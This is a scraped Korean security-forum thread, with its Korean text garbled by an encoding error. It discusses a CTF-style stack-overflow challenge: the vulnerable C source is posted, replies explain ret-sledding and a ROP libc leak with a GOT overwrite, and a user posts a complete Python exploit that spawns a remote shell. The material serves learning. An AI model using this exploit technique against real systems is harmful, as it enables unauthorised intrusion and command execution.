½Ã½ºÅÛ ÇØÅ·

 1574, 7/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   vngkv123
   ¹®Á¦ ¹æÇ⼺...

http://www.hackerschool.org/HS_Boards/zboard.php?desc=asc&no=1847 [º¹»ç]


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


void err(const char *message)
{
    puts(message);
    exit(-1);
}


void vuln(size_t size)
{
    char buf[size];

    read(0, buf, 0x400);
}


int main(int argc, char *argv[])
{
    int fd;
    int seed;
    size_t size;

    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    fd = open("/dev/urandom", 0);
    if (fd < 0) err("/dev/urandom");
    read(fd, &seed, 4);
    close(fd);

    srand(seed);

    size = (rand() % (0x3a0 - 0x100)) + 0x100;
    size &= 0xFFFFFFFC;

    puts("Executing vuln(). good luck :)");
    vuln(size);

    return 0;
}

¾à°£ BugBug¹®Á¦¸¦ ¸ðƼºê·Î ¸¸µç ´À³¦ÀÌ ÀÖ±äÇѵ¥..
¿ø°Ý¼­¹ö¿¡¼­ µ¥¸óÀ¸·Î µ¹¾Æ°¡°í NX´Â °É¸°»óÅ°í ASLRÀº ¾ÆÁ÷ Àß ¸ð¸£°Ú³×¿ë.
ÀÌ°Ç Àú ·£µå°ªÀ» LeakÇؼ­ Çϴ°ɱî¿ä ¾Æ´Ï¸é rand°ªÀ¸·Î ³ª¿Â »çÀÌÁî »ó°ü¾øÀÌ ret sled¸¦ Ÿ¼­ Çϴ°ɱî¿ä...

  Hit : 2471     Date : 2017/04/04 06:04



    
ÇØÄð·¯ ret sleddingÇ϶ó´Â ¹®Á¦ ¸Â½À´Ï´Ù
¹öÆÛ°¡ 0x100~0x3a0Áß¿¡ »çÀÌÁî°¡ Á¤ÇØÁ®¼­ ÇÒ´çµÇ´Âµ¥
Ç×»ó 0x400¹ÙÀÌÆ®¸¸Å­ readÇϴϱî
ÃÖ¼Ò 0x60, 96¹ÙÀÌÆ®¸¸Å­ºÎÅÍ´Â ¹«Á¶°Ç retÀ» Ÿ°Ô µÅÀÖÀ¸´Ï
RET Sledding À¸·Î ½ÇÇàÈ帧À» º¯Á¶ÇÏ¸é µÇ´Â°Ç ¸Â´Âµ¥
ASLRÀº ¾ÆÁ÷ ¸ð¸£°Ú´Ù°í Çϼ̴µ¥ ASLR °É·ÁÀÖÀ»°Å±¸¿ä
ROPÇؼ­ libc leakÇѹø ÇÏ°í got overwriteÇؼ­ ½© µû½Ç ¼ö ÀÖ±¸¿ä
Ç÷¡±× ÆÄÀϸ¸ ÀÐÀ¸¸é µÇ¸é ±×³É ¿ø¼¦¿¡µµ °¡´ÉÇÕ´Ï´Ù
2017/04/05  
pwnnnt °«.. 2017/04/05  
vngkv123 retÀ» óÀ½ºÎÅÍ Å¸´Â°Å ¸ÂÁÒ? ¿Ö ÁÖ¼Ò°¡ ¸¯ÀÌ ¾ÈµÇ´Â°É±î¿ë ¤Ð_¤Ð ÈÉ 2017/04/05  
vngkv123 retÀ» ÃæºÐÈ÷ÁÖ°í puts@plt + dummy + read³ª putsÀÇ got·Î ¿ì¼± ¸¯ÇÒ·Á°í Çߴµ¥ À߸øµÈ°É±î¿ä? 2017/04/05  
ÇØÄð·¯ ±×·¸°ÔÇÏ¸é µÇ´Â°Å ¸Â½À´Ï´Ù
retÀº ¹öÆÛÀÇ Å©±â¸¶´Ù Ÿ±â ½ÃÀÛÇÏ´Â ½ÃÁ¡ÀÌ ´Þ¶óÁöÁÒ
retÀº ÃÖ´ë ¹öÆÛÅ©±âÀÎ 0x3a0À» ±âÁØÀ¸·Î ÇßÀ» ¶§
Á» ¾ÈÁ¤ÀûÀ¸·Î ÇÏ·Á¸é 0x3c0/4 °³¸¸Å­ ³ÖÀ¸½Å´ÙÀ½¿¡ ROP Æä1À̷ε带 ¾²½Ã¸é µË´Ï´Ù
2017/04/05  
vngkv123 gotÁÖ¼Ò°¡ À½¼ö·Î ³ª¿À¸é ¹º°¡ À߸øµÈ°Å°ÚÁÒ ... 2017/04/05  
vngkv123 import socket
import time
import struct

p = lambda x : struct.pack("<L",x)
up = lambda x : struct.unpack("<L",x)

read_plt = 0x8048420
read_got = 0x804a00c
puts_plt = 0x8048430
ret = 0x8048623
dynamic_section = 0x8049f14
pppr = 0x8048749
system_offset = 0x3ada0
read_offset = 0xd5980

payload = ''
payload += p(ret)*240 + p(read_plt) + p(pppr)
payload += p(0) + p(dynamic_section) + p(len("/bin/sh")+1) #/bin/sh
payload += p(puts_plt) + p(0x8048766) + p(read_got) #get read addr
payload += p(read_plt) + p(pppr)
payload += p(0) + p(read_got) + p(4) #overwrite read@got
payload += p(read_plt) + "AAAA" + p(dynamic_section)


s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('xxx.xxx.xxx.xxx',31007))
time.sleep(0.5)
print"[+] Sending payload ......"
s.send(payload + '\n')
time.sleep(0.5)
s.recv(1024)
s.send("/bin/sh" + "\n")
time.sleep(0.5)
resp = up(s.recv(4))
libc_addr = resp - read_offset
print"[+] libc_addr = %s"%(hex(libc_addr))
system_addr = libc_addr + system_offset
print"[+] system_addr = %s"%(hex(system_addr))
time.sleep(0.5)
s.send(p(system_addr) + '\n')
time.sleep(0.5)
print'[+] Get shell complete.......'
while True:
cmd = raw_input("$ ")
s.send(cmd + '\n')
time.sleep(0.5)
print(s.recv(1024))
s.close()

ÁÖ¼Ò´Â °¡¸°°Å±¸¿ë À§ ÄÚµå»óÀ¸·Ð ¸Â°Ô Â¥¿©ÁøÁö ¸ð¸£°Ú³×¿ä.... ÀÚ²Ù up(s.recv)ºÎºÐ¿¡¼­ »àÀ̳ª¼­ °í¹ÎÁßÀε¥ ¤Ð
2017/04/06  
ÇØÄð·¯ struct.unpackÀº ¹è¿­À» ¸®ÅÏÇÕ´Ï´Ù
up = lambda x : struct.unpack("<L",x)
->
up = lambda x : struct.unpack("<L",x)[0]
2017/04/06  
vngkv123 shellÀÌ µû º´Ù°í »ý°¢µÇ´Â »óȲ¿¡¼­ raw_input ÁöÁ¡ºÎÅÍ strace¸¦ ºÙ¿©¼­ ”f´Âµ¥

read(0, ÇÔ¼ö·Î ½ÃÀ۵ǰí Àִ°Ÿé got overwrite°¡ À߸øµÈ°Ç°¡¿ä?
2017/04/06  
ÇØÄð·¯ °Å±âºÎÅÍ ºÙÀÌÁö¸¶½Ã°í connectÁ÷ÈÄ¿¡ ºÙÀ̼ſä 2017/04/06  
vngkv123 ¹¹°¡ ¹®Á¨Áö °í¹Î°è¼Ó Ç޴µ¥ offsetÀÌ À߸øµÇ¾ú¾ú³×¿ä ¤Ì¤Ì ¤»¤»¤»¤» °¨»çÇÕ´Ï´Ù~~ 2017/04/06  
1454   °øÀ¯¶óÀ̺귯¸®¿¡ ´ëÇØ ¿©Â庾´Ï´Ù.     iwonderhow
10/07 2408
1453   format string bug + got overwite[3]     tkakr7458
04/19 2410
1452   heap¿¡¼­ bin°ü·Ã[3]     vngkv123
04/30 2415
1451   °í¼ö´Ôµé ´äº¯ºÎŹµå¸³´Ï´Ù.      osssy
05/18 2420
1450   ½Ã½ºÅÛ ÇØÅ·°­Á 21°­ºÎÅÍ ÀÚ·á ºÎŹµå·Áµµ µÉ±î¿ä?     sexissports
06/23 2429
1449   system("/bin/sh") ¿Í execve("/bin/sh",0,0)[2]     turttle2s
09/16 2431
1448   ½© Äڵ带 ¹è¿ì°í½ÍÀºµ¥ ¾î¶²Áö½ÄÀÌÀÖ¾î¾ßÇϳª¿ä?[4]     morieye
12/14 2437
1447   FTZ level11 °ü·Ã Áú¹® ÀÖ½À´Ï´Ù.[4]     you88311
09/27 2438
1446   ¾È³çÇϼ¼¿ä Eggshell¿¡ ´ëÇØ Áú¹® ÀÖ½À´Ï´Ù.[1]     Dork
03/24 2445
1445   Áö±Ý ftz ÆÄÀÏ»ý¼º µÇ½Ã³ª¿ä??¤Ð¤Ð[1]     waijeies
08/22 2451
1444     [re] ·¹À̽º ÄÁµð¼Ç ¿À·ù     cosine
06/28 2453
1443   uaf Ãë¾àÁ¡ ,¸Þ¸ð¸® ¸¯ °ü·Ã ¹®Á¦[2]     pkdo1030
07/15 2456
  ¹®Á¦ ¹æÇ⼺...[11]     vngkv123
04/04 2470
1441   socat, µð¹ö±ë[3]     choboKing
12/31 2487
1440   GDB¿¡ ´ëÇؼ­...[3]     wjsqud011
12/01 2491
1439   2013 plaid ctf rop ..[14]     vngkv123
04/02 2497
1438   angry_doraemon°°Àº ¹®Á¦ ·ÎÄõî·Ï..     vngkv123
04/22 2515
1437   64bit elfÆÄÀÏ µð¹ö±ë½Ã[6]     vngkv123
04/08 2518
1436   ÆÄÀÏ¿¡ setuid¸¦ ¼³Á¤ ¹× setreuid()ÇÔ¼ö     you88311
12/28 2528
1435   pwnable.kr bof ¹®Á¦!!![2]     hackxx123
12/12 2533
[1][2][3][4][5][6] 7 [8][9][10]..[79]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org